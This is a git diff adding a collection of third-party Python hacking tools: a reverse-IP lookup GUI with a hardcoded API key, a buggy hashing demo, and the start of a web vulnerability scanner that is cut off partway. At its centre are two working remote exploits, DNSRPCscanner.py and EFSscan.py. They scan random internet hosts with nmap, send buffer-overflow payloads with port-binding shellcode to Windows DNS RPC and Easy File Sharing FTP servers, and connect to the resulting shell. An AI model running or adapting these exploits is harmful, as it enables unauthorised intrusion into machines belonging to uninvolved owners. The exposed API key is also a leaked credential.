diff --git a/3rdparty/0x150 v2.1.py b/3rdparty/0x150 v2.1.py
new file mode 100644
index 0000000..f3ba7f4
--- /dev/null
+++ b/3rdparty/0x150 v2.1.py	
@@ -0,0 +1,167 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+# 0x150 Web Crawler v2.1
+
+from PyQt4 import QtCore, QtGui
+import socket
+import urllib
+import urllib2
+import mechanize
+import urlparse
+from xml.dom.minidom import parse, parseString
+from bs4 import BeautifulSoup
+import base64
+try:
+    _fromUtf8 = QtCore.QString.fromUtf8
+except AttributeError:
+    _fromUtf8 = lambda s: s
+class MyOpener(urllib.FancyURLopener):
+    version = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15'
+
+class Ui_MainWindow(object):
+    def setupUi(self, MainWindow):
+        MainWindow.setObjectName(_fromUtf8("MainWindow"))
+        MainWindow.resize(722, 364)
+        self.centralwidget = QtGui.QWidget(MainWindow)
+        self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
+        self.pushButton = QtGui.QPushButton(self.centralwidget)
+        self.pushButton.setGeometry(QtCore.QRect(320, 10, 111, 31))
+        self.pushButton.setObjectName(_fromUtf8("pushButton"))
+        self.listView = QtGui.QListWidget(self.centralwidget)
+        self.listView.setGeometry(QtCore.QRect(10, 50, 301, 251))
+        self.listView.setObjectName(_fromUtf8("listView"))
+        self.textEdit = QtGui.QLineEdit(self.centralwidget)
+        self.textEdit.setGeometry(QtCore.QRect(10, 10, 301, 31))
+        self.textEdit.setObjectName(_fromUtf8("textEdit"))
+        self.textEdit.setPlaceholderText(_fromUtf8("Reverse Çek"))
+        self.pushButton_2 = QtGui.QPushButton(self.centralwidget)
+        self.pushButton_2.setGeometry(QtCore.QRect(320, 50, 111, 31))
+        self.pushButton_2.setObjectName(_fromUtf8("pushButton_2"))
+        #self.pushButton_4 = QtGui.QPushButton(self.centralwidget)
+        #self.pushButton_4.setGeometry(QtCore.QRect(320, 90, 111, 31))
+        #self.pushButton_4.setObjectName(_fromUtf8("pushButton_4"))
+        self.listView_2 = QtGui.QListWidget(self.centralwidget)
+        self.listView_2.setGeometry(QtCore.QRect(440, 10, 271, 291))
+        self.listView_2.setObjectName(_fromUtf8("listView_2"))
+        self.pushButton_5 = QtGui.QPushButton(self.centralwidget)
+        self.pushButton_5.setGeometry(QtCore.QRect(320, 90, 111, 31))
+        self.pushButton_5.setObjectName(_fromUtf8("pushButton_5"))
+        self.pushButton_3 = QtGui.QPushButton(self.centralwidget)
+        self.pushButton_3.setGeometry(QtCore.QRect(320, 270, 111, 31))
+        self.pushButton_3.setObjectName(_fromUtf8("pushButton_3"))
+        MainWindow.setCentralWidget(self.centralwidget)
+        self.menubar = QtGui.QMenuBar(MainWindow)
+        self.menubar.setGeometry(QtCore.QRect(0, 0, 722, 29))
+        self.menubar.setObjectName(_fromUtf8("menubar"))
+        self.menuDosya = QtGui.QMenu(self.menubar)
+        self.menuDosya.setObjectName(_fromUtf8("menuDosya"))
+
+        MainWindow.setMenuBar(self.menubar)
+        self.statusbar = QtGui.QStatusBar(MainWindow)
+        self.statusbar.setObjectName(_fromUtf8("statusbar"))
+        MainWindow.setStatusBar(self.statusbar)
+        self.actionKaydet = QtGui.QAction(MainWindow)
+        self.actionKaydet.setObjectName(_fromUtf8("actionKaydet"))
+        self.actionKaydet.setShortcut('Ctrl+S')
+
+        self.actionKaydet.triggered.connect(self.saveFile)
+        self.actionExit = QtGui.QAction(MainWindow)
+        self.actionExit.setObjectName(_fromUtf8("actionExit"))
+        self.actionExit.setShortcut('Ctrl+Q')
+        self.actionExit.triggered.connect(QtGui.qApp.quit)
+        self.menuDosya.addAction(self.actionKaydet)
+        self.menuDosya.addAction(self.actionExit)
+        self.menubar.addAction(self.menuDosya.menuAction())
+
+        self.retranslateUi(MainWindow)
+        QtCore.QMetaObject.connectSlotsByName(MainWindow)
+        QtCore.QObject.connect(self.pushButton,QtCore.SIGNAL("clicked()"),self.reverse)
+        QtCore.QObject.connect(self.pushButton_2,QtCore.SIGNAL("clicked()"),self.cekkeke)
+       # QtCore.QObject.connect(self.pushButton_4,QtCore.SIGNAL("clicked()"),self.temizle)
+        QtCore.QObject.connect(self.pushButton_5,QtCore.SIGNAL("clicked()"),self.temizle2)
+        QtCore.QObject.connect(self.pushButton_3,QtCore.SIGNAL("clicked()"),self.saveFile)
+
+    def temizle(self):
+        self.listView_2.clear()
+    def temizle2(self):
+        self.listView.clear()
+    def cekkeke(self):
+        self.listView_2.clear()
+        self.myopener = MyOpener()
+    #page = urllib.urlopen(url)
+        self.page = self.myopener.open("http://"+ str(self.listView.currentItem().text()))
+
+        self.text = self.page.read()
+        self.page.close()
+
+        self.soup = BeautifulSoup(self.text)
+
+        for self.tag in self.soup.findAll('a', href=True):
+            self.xx = self.tag["href"]
+            if  self.xx.startswith("http://") == False and self.xx.startswith("https://")==False:
+                if self.xx.startswith("/")==True:
+                    self.listView_2.addItem(self.listView.currentItem().text()+self.xx)
+                else:
+                    self.listView_2.addItem(self.listView.currentItem().text()+"/"+self.xx)
+    def retranslateUi(self, MainWindow):
+        MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "0x150 Web Crawler v2.1", None, QtGui.QApplication.UnicodeUTF8))
+        self.pushButton.setText(QtGui.QApplication.translate("MainWindow", "< < Reverse IP", None, QtGui.QApplication.UnicodeUTF8))
+        self.pushButton_2.setText(QtGui.QApplication.translate("MainWindow", "<< Crawler >>", None, QtGui.QApplication.UnicodeUTF8))
+        self.pushButton_3.setText(QtGui.QApplication.translate("MainWindow", "< < Kaydet >>", None, QtGui.QApplication.UnicodeUTF8))
+        self.menuDosya.setTitle(QtGui.QApplication.translate("MainWindow", "Dosya", None, QtGui.QApplication.UnicodeUTF8))
+        #self.menuHakk_nda.setTitle(QtGui.QApplication.translate("MainWindow", "Hakkında", None, QtGui.QApplication.UnicodeUTF8))
+        self.actionKaydet.setText(QtGui.QApplication.translate("MainWindow", "Kaydet", None, QtGui.QApplication.UnicodeUTF8))
+        self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8))
+        #self.pushButton_4.setText(QtGui.QApplication.translate("MainWindow", "Temizle >>", None, QtGui.QApplication.UnicodeUTF8))
+        self.pushButton_5.setText(QtGui.QApplication.translate("MainWindow", "< < Temizle", None, QtGui.QApplication.UnicodeUTF8))
+    def saveFile(self):
+        self.filename = QtGui.QFileDialog.getSaveFileName(None, 'Save File',"/")
+        self.f = open(self.filename, 'w')
+        self.xe = open(self.textEdit.text()+"_reverse-ip.txt","w")
+        items = []
+        cocumuyo = []
+        for index in xrange(self.listView_2.count()):
+            items.append(self.listView_2.item(index))
+        for i in items:
+            #print i.text()
+            self.f.write(i.text()+"\n")
+        for ix in xrange(self.listView.count()):
+            cocumuyo.append(self.listView.item(ix))
+        for i in cocumuyo:
+            self.xe.write(i.text()+"\n")
+        self.xe.close()
+        self.f.close()
+        #print self.listView.currentItem().text()
+    def reverse(self):
+        self.listView.addItem(self.textEdit.text())
+        self.sites = []
+        self.top = 50
+        self.skip = 0
+        self.account_key ="6XgKqcpSQqUPnODbSdOK9sOy30ng0ilUci99d5pol8I"
+        self.ipal = self.textEdit.text()
+        self.ip = socket.gethostbyname(str(self.ipal))
+        while self.skip < 200:
+            self.url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%(self.ip,self.top,self.skip)
+            self.request = urllib2.Request(self.url)
+            self.auth = base64.encodestring("%s:%s" % (self.account_key, self.account_key)).replace("\n", "")
+            self.request.add_header("Authorization", "Basic %s" % self.auth)
+            self.res = urllib2.urlopen(self.request)
+            self.data = self.res.read()
+            self.xmldoc = parseString(self.data)
+            self.site_list = self.xmldoc.getElementsByTagName('d:Url')
+            for self.site in self.site_list:
+                self.domain = self.site.childNodes[0].nodeValue
+                self.domain = self.domain.split("/")[2]
+                if self.domain not in self.sites:
+                    self.sites.append(self.domain)
+            self.skip += 50
+        for self.xs in self.sites:
+            self.listView.addItem(self.xs)
+if __name__ == "__main__":
+    import sys
+    app = QtGui.QApplication(sys.argv)
+    MainWindow = QtGui.QMainWindow()
+    ui = Ui_MainWindow()
+    ui.setupUi(MainWindow)
+    MainWindow.show()
+    sys.exit(app.exec_())
\ No newline at end of file
diff --git a/3rdparty/Crypter.py b/3rdparty/Crypter.py
new file mode 100644
index 0000000..c0615a0
--- /dev/null
+++ b/3rdparty/Crypter.py
@@ -0,0 +1,66 @@
+from Crypto.Hash import HMAC       
+from Crypto.Hash import MD2
+from Crypto.Hash import MD4
+from Crypto.Hash import MD5
+from Crypto.Hash import RIPEMD
+from Crypto.Hash import SHA
+from Crypto.Hash import SHA256
+
+
+                                                                            
+                                                  ########			  	 
+                                                  #B3mB4m#
+                                                  ########
+
+ 
+#Hi guyss im B3mB4m to day topic how to use PyCrypto - The Python Cryptography Toolkit ? !!
+
+# You can see codes here, but � want change somethins
+
+word = raw_input("Give me the word : ")
+
+
+"""
+
+from Crypto.Hash import HMAC       
+from Crypto.Hash import MD2
+from Crypto.Hash import MD4
+from Crypto.Hash import MD5
+from Crypto.Hash import RIPEMD
+from Crypto.Hash import SHA
+from Crypto.Hash import SHA256
+
+HMAC-MD2-MD4-MD5-SHA-SHA526-RIPEMD  .. now lets try 
+
+
+"""
+
+
+secret = b'B3mB4m'           
+h = HMAC.new(secret)            
+h.update(word)         
+print "HMAC = "+h.hexdigest()
+
+h2 = MD2.new()                      
+h2.update(word)                            
+print "MD2 = "+h2.hexdigest()
+
+h3 = MD4.new()
+h3.update(word)
+print "MD4 = "+h3.hexdigest()
+                                       
+h4 = MD5.new()                          
+h4.update(word)
+print "MD5 = "+h3.hexdigest()
+
+h5 = RIPEMD.new()                           
+h5.update(word)                     
+print "RIPEMD = "+h5.hexdigest()        
+                                                          
+h6 = SHA.new()
+h6.update(word)
+print "SHA = "+h6.hexdigest()
+
+h7 = SHA.new()
+h7.update(word )
+print "SHA256 = "+h7.hexdigest()
diff --git a/3rdparty/DNSRPCscanner.py b/3rdparty/DNSRPCscanner.py
new file mode 100644
index 0000000..4787401
--- /dev/null
+++ b/3rdparty/DNSRPCscanner.py
@@ -0,0 +1,178 @@
+#!/usr/bin/python
+#This is a Windows DNS RPC service scanner for the new exploit #http://www.milw0rm.com/exploits/3737, uses nmap to locate win2000 machines
+#and if found continues to use the exploit. Threw in a little threading to speed 
+#the process up. Remove the 2000 and whitespace in between at line 137 to exploit
+#all windows machines found. I noticed for this exploit you need impacket for it 
+#to work properly, http://oss.coresecurity.com/repo/Impacket-0.9.6.0.tar.gz
+#download that, untar, cd, su root, python setup.py install
+#thats it...
+
+#!!! You need to be root for the nmap flags to work properly  !!!
+
+# Remote exploit for the 0day Windows DNS RPC service vulnerability as
+# described in http://www.securityfocus.com/bid/23470/info. Tested on
+# Windows 2000 SP4. The exploit if successful binds a shell to TCP port 4444
+# and then connects to it.
+#
+# Cheers to metasploit for the first exploit.
+# Written for educational and testing purposes.
+# Author shall bear no responsibility for any damage caused by using this code
+# Winny Thomas :-)
+
+import os, StringIO, re, random, commands, sys, time, thread
+try:
+	from impacket.dcerpc import transport, dcerpc, epm
+	from impacket import uuid
+except(ImportError):
+	print "\nYou need the Impacket Module"
+	print "http://oss.coresecurity.com/repo/Impacket-0.9.6.0.tar.gz\n"
+	sys.exit(1)
+
+#Portbind shellcode from metasploit; Binds port to TCP port 4444
+shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
+shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
+shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
+shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
+shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
+shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
+shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
+shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
+shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
+shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
+shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
+shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
+shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
+shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
+shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
+shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
+shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
+shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
+shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
+shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
+shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
+shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
+
+# Stub sections taken from metasploit 
+stub  = '\xd2\x5f\xab\xdb\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00'
+stub += '\x70\x00\x00\x00\x00\x00\x00\x00\x1f\x38\x8a\x9f\x12\x05\x00\x00'
+stub += '\x00\x00\x00\x00\x12\x05\x00\x00'
+stub += '\\A' * 465
+# At the time of overflow ESP points into our buffer which has each char 
+# prepended by a '\' and our shellcode code is about 24+ bytes away from 
+# where EDX points
+stub += '\\\x80\\\x62\\\xE1\\\x77'#Address of jmp esp from user32.dll
+# The following B's which in assembly translates to 'inc EDX' increments
+# about 31 times EDX so that it points into our shellcode 
+stub += '\\B' * 43 
+# Translates to 'jmp EDX'
+stub += '\\\xff\\\xe2'
+stub += '\\A' * 134 
+stub += '\x00\x00\x00\x00\x76\xcf\x80\xfd\x03\x00\x00\x00\x00\x00\x00\x00'
+stub += '\x03\x00\x00\x00\x47\x00\x00\x00'
+stub += shellcode
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+# Code ripped from core security document on impacket
+# www.coresecurity.com/files/attachments/impacketv0.9.6.0.pdf 
+# Not a neat way to discover a dynamic port :-)
+def DiscoverDNSport(target):
+	trans = transport.SMBTransport(target, 139, 'epmapper')
+	trans.connect()
+	dce = dcerpc.DCERPC_v5(trans)
+	dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))
+	pm = epm.DCERPCEpm(dce)
+	handle = '\x00'*20
+	while 1:
+		dump = pm.portmap_dump(handle)
+		if not dump.get_entries_num():
+			break
+		handle = dump.get_handle()
+		entry = dump.get_entry().get_entry()
+		if(uuid.bin_to_string(entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
+			port = entry.get_string_binding().split('[')[1][:-1]
+			return int(port)
+
+	print '[-] Could not locate DNS port; Target might not be running DNS'
+
+def ExploitDNS(target, port):
+	trans = transport.TCPTransport(target, port)
+	trans.connect()
+	dce = dcerpc.DCERPC_v5(trans)
+	dce.bind(uuid.uuidtup_to_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076','5.0')))	
+	
+	dce.call(0x01, stub)
+
+def ConnectRemoteShell(target):
+	connect = "/usr/bin/telnet " + target + " 4444"
+	os.system(connect)
+	
+
+def Worker():
+	
+	global num
+	global found
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -T 3 -O --host-timeout 35s --osscan-guess -iR 1')[1]).readlines() #Change your nmap flags if needed
+
+	for tmp in nmap:
+		if re.search("QUITTING!",tmp):
+			print '[-] You must run this script as root for the nmap flags to work properly!!!'
+			print 'Type: Ctrl-C\n'
+			sys.exit(1)
+		ip = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ip: 
+			target = ip[0]
+			print "Searching:",target
+	for tmp in nmap:
+		if re.search("Aggressive OS guesses:", tmp):
+			os = tmp.split(",",1)[0].replace("Aggressive OS guesses:","")
+			if os:
+				os = re.sub(r'\(\d+%\)',"",os,1)
+				print "\tFound:",os
+				num +=1
+				if re.search("Windows 2000",os):  #Take out the 2000 to exploit all windows found machines
+					found.append(target+" : "+os)
+					print "\tFound a Win2000 machine:",os
+					print '\n[+] Locating DNS RPC port'
+					port = DiscoverDNSport(target)
+					print '[+] Located DNS RPC service on TCP port: %d' % port
+					ExploitDNS(target, port)
+					print '[+] Exploit sent. Connecting to shell in 3 seconds'
+					time.sleep(3)
+					ConnectRemoteShell(target)
+			
+if len(sys.argv) != 2:
+	print "\n\t   d3hydr8[at]gmail[dot]com DNSRPCscanner v1.0"
+	print "\t--------------------------------------------------"
+	print "\n\tUsage: ./DNSRPCscanner.py <How many would you like to scan?>\n"
+	print "\tEx. ./DNSRPCscanner.py 10000\n"
+	sys.exit(1)
+
+else:
+	print "\n   d3hydr8[at]gmail[dot]com DNSRPCscanner v1.0"
+	print "--------------------------------------------------"
+	print "[+] Scanning: 0day Windows DNS RPC service vulnerability"
+	print "[+] Targets:",int(sys.argv[1])
+	print "[+] Starting:",timer(),"\n"
+	print "[+] Scanning...\n"
+	found = []
+	num = 0
+	for x in range(10):
+		for i in range(int(sys.argv[1])/10):
+			time.sleep(random.randint(1, 3))
+			work = thread.start_new_thread(Worker, ())
+print "\n[-] Scanning Complete:",timer()
+print "[-] Found:",num,"o-systems"
+print "[-] Found:",len(found),"using win2k\n"
+if len(found) >=1:
+	print "[-] Target List:\n"
+	for os in found:
+		print os
+
+
+
+	
diff --git a/3rdparty/EFSscan.py b/3rdparty/EFSscan.py
new file mode 100644
index 0000000..cb94578
--- /dev/null
+++ b/3rdparty/EFSscan.py
@@ -0,0 +1,146 @@
+#!/usr/bin/python
+#Modified Winny Thomas EFS exploit to scan(uses nmap) for random open ftp ports then 
+#check the banner for EFS server, if found, exploit it...
+#http://www.milw0rm.com/exploits/3579
+#d3hydr8[at]gmail[dot]com
+
+# Remote exploit for Easy File Sharing FTP server V2.0. The vulnerability
+# was discovered by h07 and a POC for windows XP SP2 (polish version) was
+# provided. This exploit was tested on windows 2000 server SP4. The exploit
+# binds a shell on TCP port 4444.
+#
+# Author shall bear no responsibility for any screw ups
+# Winny Thomas :-)
+
+import os
+import sys
+import time
+import struct
+import socket
+import StringIO, re, commands
+
+shellcode  = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
+shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
+shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
+shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
+shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
+shellcode += "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"
+shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x48\x45\x34\x4e\x33\x4b\x38\x4e\x37"
+shellcode += "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x38"
+shellcode += "\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38"
+shellcode += "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
+shellcode += "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
+shellcode += "\x46\x4f\x4b\x43\x46\x35\x46\x32\x4a\x52\x45\x47\x45\x4e\x4b\x58"
+shellcode += "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x34"
+shellcode += "\x4b\x38\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x30\x4e\x42\x4b\x48"
+shellcode += "\x49\x38\x4e\x46\x46\x52\x4e\x31\x41\x36\x43\x4c\x41\x43\x4b\x4d"
+shellcode += "\x46\x36\x4b\x48\x43\x34\x42\x53\x4b\x48\x42\x44\x4e\x50\x4b\x58"
+shellcode += "\x42\x47\x4e\x31\x4d\x4a\x4b\x48\x42\x54\x4a\x30\x50\x55\x4a\x56"
+shellcode += "\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x36"
+shellcode += "\x43\x35\x48\x36\x4a\x36\x43\x43\x44\x43\x4a\x36\x47\x37\x43\x57"
+shellcode += "\x44\x53\x4f\x35\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
+shellcode += "\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e"
+shellcode += "\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x56\x44\x30"
+shellcode += "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55"
+shellcode += "\x4f\x4f\x48\x4d\x43\x45\x43\x45\x43\x45\x43\x35\x43\x35\x43\x44"
+shellcode += "\x43\x55\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x41\x31"
+shellcode += "\x4e\x45\x48\x36\x43\x55\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"
+shellcode += "\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
+shellcode += "\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
+shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d"
+shellcode += "\x4a\x46\x45\x4e\x49\x44\x48\x58\x49\x54\x47\x45\x4f\x4f\x48\x4d"
+shellcode += "\x42\x35\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x56"
+shellcode += "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x55"
+shellcode += "\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x46\x48\x46\x4a\x36\x43\x46"
+shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x46\x42\x35\x49\x35\x49\x32\x4e\x4c"
+shellcode += "\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x38\x44\x4e\x41\x53\x42\x4c"
+shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x44\x4e\x32"
+shellcode += "\x43\x59\x4d\x38\x4c\x57\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
+shellcode += "\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x47\x46\x34\x4f\x4f"
+shellcode += "\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x45\x41\x45\x41\x55\x4c\x36"
+shellcode += "\x41\x30\x41\x35\x41\x45\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x46"
+shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x46"
+shellcode += "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
+shellcode += "\x43\x58\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
+shellcode += "\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x36\x43\x55\x4f\x4f\x48\x4d"
+shellcode += "\x4f\x4f\x42\x4d\x5a"
+
+def ConnectRemoteShell(target):
+       connect = "/usr/bin/telnet " + target + " 4444"
+       os.system(connect)
+
+def ExploitFTP(target):
+       sockAddr = (target, 21)
+       tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+       tsock.connect(sockAddr)
+       response = tsock.recv(1024)
+       print response
+
+       # At the time of overflow EBX points into our shellcode
+       payload = 'A' * 2553
+       # NOP's pad with a 15 byte jump over some junk and the RET address
+       # Jumps into our shellcode
+       payload += '\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0f'
+       # Address of 'call ebx' from kernel32.dll SP4
+       payload += struct.pack('<L', 0x7C577B03)
+       # Address of pop reg/pop reg/ret for XP SP2 from ws2_32.dll
+       # But this one is not very reliable like Win2K SP4
+       #payload += struct.pack('<L', 0x71AB1269)
+       payload += '\x90' * 83
+       payload += shellcode
+
+       user = 'USER anonymous\r\n'
+       tsock.send(user)
+       response = tsock.recv(1024)
+       print response
+
+       passwd = 'PASS \x2c' + payload + '\r\n'
+       tsock.send(passwd)
+       response = tsock.recv(1024)
+       print response
+
+if len(sys.argv) != 2:
+	print "Usage: ./EFSscan.py <How many ips would you like to scan?>"
+	sys.exit(1)
+else:
+	num=sys.argv[1]
+	
+	print "\n   d3hydr8[at]gmail[dot]com EFSScan v1.0"
+	print "--------------------------------------------------"
+	print "+ Target: Easy File Sharing FTP server V2.0"
+	print "+ Target port: 21"
+	print "+ Scanning:",num,"\n"
+
+	count = 0
+	while count != int(num):
+		count += 1
+		print "Trying:",count,"of",num
+		#Change your nmap arguments, if you want.
+		nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -p 21 -iR 1 | grep -B 4 open')[1]).readlines()
+		for tmp in nmap:
+			if re.search("21/tcp\s+(?=open)", tmp):
+				port = int(21)
+		for tmp in nmap:
+			ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+			if ipaddr:
+				host = ipaddr[0]
+				print "\n- Found port open on",host,"checking banner."
+	
+				try:
+					s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+					s.settimeout(10)
+					s.connect((host, port))
+					time.sleep(7)
+					s.send("\r\n")
+					response = s.recvfrom(1024)[0]
+					s.close()	
+					#Change this to whatever EFS banner looks like. (use lowercase)	
+					if re.search("easy file", response.lower()): 
+						print "\n\t\tEFS server found in banner, attempting to exploit...\n"
+						ExploitFTP(host)
+					else: print "\tNo Match:",response,"\n"
+				except(socket.error,NameError), msg:
+					print "\tAn error occurred:", msg,"\n"
+					s.close()
+# milw0rm.com [2006-08-26]
+
diff --git a/3rdparty/P-Web Vuln Scabber(XSS,SQL,etc).py b/3rdparty/P-Web Vuln Scabber(XSS,SQL,etc).py
new file mode 100644
index 0000000..ecf42d7
--- /dev/null
+++ b/3rdparty/P-Web Vuln Scabber(XSS,SQL,etc).py	
@@ -0,0 +1,1041 @@
+#!/usr/bin/python
+
+# VulnDetector Version 0.0.1pa
+# Author: Brad Cable
+# License: GPL Version 2
+
+
+## basic config - these need to be changed depending on the site to be scanned ##
+
+site="http://www.site.com/"          # URL to tree/scan
+domains=[".site.com",".site2.com"]   # whitelist of domains to scan, with a "." infront, it matches all subdomains as well
+pagetype="php"                       # type of code used on the site being scanned ("php" or "asp")
+
+# log locations, all logs are stored at [the current directory]/logs/LOGFILE
+vulnlogfile="gfqlog"                 # file to log all detected vulnerabilities as they are encountered
+urllogfile="gfqurllog"               # file to log all urls fetched as they are fetched
+reportfile="gfqreport"               # at the end of the scan, the detected vulnerabilities are compiled into a neat list, and logged to this file
+usecookies=True                      # whether or not to send a cookie header value each time (True or False)
+cookies=""                           # if usecookies is True, then 
+
+## end basic config ##
+
+
+
+
+
+## advanced config - only change these if you know what you are doing, you really shouldn't need to touch these at all... ##
+
+xssscan=True              # scan for XSS vulns (True or False)
+sqliscan=True             # scan for SQLI vulns (True or False)
+
+checklevel=1              # checklevel:
+                          #   1 = Silent SQL, Silent XSS
+                          #   2 = Silent SQL, Silent XSS when possible (semi-silent when not)
+                          #   3 = BLAST THE SITE! (AKA, non Silent SQL, non Silent XSS, causes tons of MySQL Errors
+                          #                        on the site and could possibly flood someone's admin email)
+
+levels=7                  # levels deep to tree the site (I recommend 6-8; 6 is shorter, and fairly thorough, while 8 is just plain crazy long and a little too thorough)
+ignore_subdomain=True     # ignore subdomains for HTTP Host field and other places (should leave as True)
+
+scanlimit=5               # times to scan the same URL with different query strings,
